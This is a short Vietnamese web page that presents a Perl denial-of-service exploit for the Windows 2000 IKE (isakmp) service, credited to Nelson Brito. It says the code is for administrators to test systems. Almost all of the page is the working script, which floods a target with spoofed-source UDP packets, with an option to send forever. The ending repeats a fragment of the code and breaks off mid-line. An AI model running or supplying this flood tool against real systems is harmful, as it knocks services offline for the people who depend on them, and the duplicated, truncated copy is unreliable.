Windows 2000 IKE DoS Exploit Code : trang đọc lần lỗ hổng bảo mật lớn hệ điều hành Windows 2000 cho phép kẻ công điều khiển từ xa làm tiêu hao dần số lượng CPU time Sau đoạn Code khai thác lỗi này, dùng để kiểm tra hệ thống admin : #!/usr/bin/perl -w : use Socket; use Net::RawIP; use Getopt::Std; getopts("s:d:p:l:n:v:t:f:T:rL",%o);$ver="0.3a"; $0=~s#.*/##; print" - $0 v.$ver b/ Nelson Brito / Independent Security Consultant - "; $l=$o{'l'}?$o{'l'}+28:800+28;$n=$o{'n'}?$o{'n'}/2:800/2; $v=$o{'v'}||4;$t=$o{'t'}||1;$f=$o{'f'}||0;$T=$o{'T'}||64; $p=$o{'p'}?$o{'p'}:(getservbyname('isakmp','udp')|| die"getservbyname: $! "); ($o{'s'}&&$o{'d'})||die " Use: $0 [IP Options] [UDP Options] ", "IP Options: ", " -s* source address to spoof ", " -d* destination address to attack ", " -v IP Version (def: $v) ", " -t IP Type of Service (TOS) (def: $t) ", " -f IP fragementation offset (def: $f) ", " -T IP Time to Live (TTL) (def: $T) ", "UDP Options: ", " -p destination port to attack (def: $p) ", " -l packet length to send (def: $l) ", " -r set randon data (def: ".") ", "Generic: ", " -n number of packets to send (def: $n) ", " -L send packets forever ", "Copyright © 2000 Nelson Brito "; while($n > 0){ $|=1;print".";$sp=int rand 65535; $D=$o{'r'}?(chr(int rand 255)) x $l:"." x $l; $nb=new Net::RawIP({ ip=> { version=>$v, tos=>$t, ttl=>$T, frag_off=>$f, saddr=>$o{'s'}, daddr=>$o{'d'} }, udp=> { source=>$sp, dest=>$p, len=>$l, data=>$D } }); $nb->send;undef $nb;!$o{'L'}&&$n ; } print"Finish! "; ..." -L send packets forever ", "Copyright © 2000 Nelson Brito "; while($n > 0){ $|=1;print".";$sp=int rand 65535; $D=$o{'r'}?(chr(int rand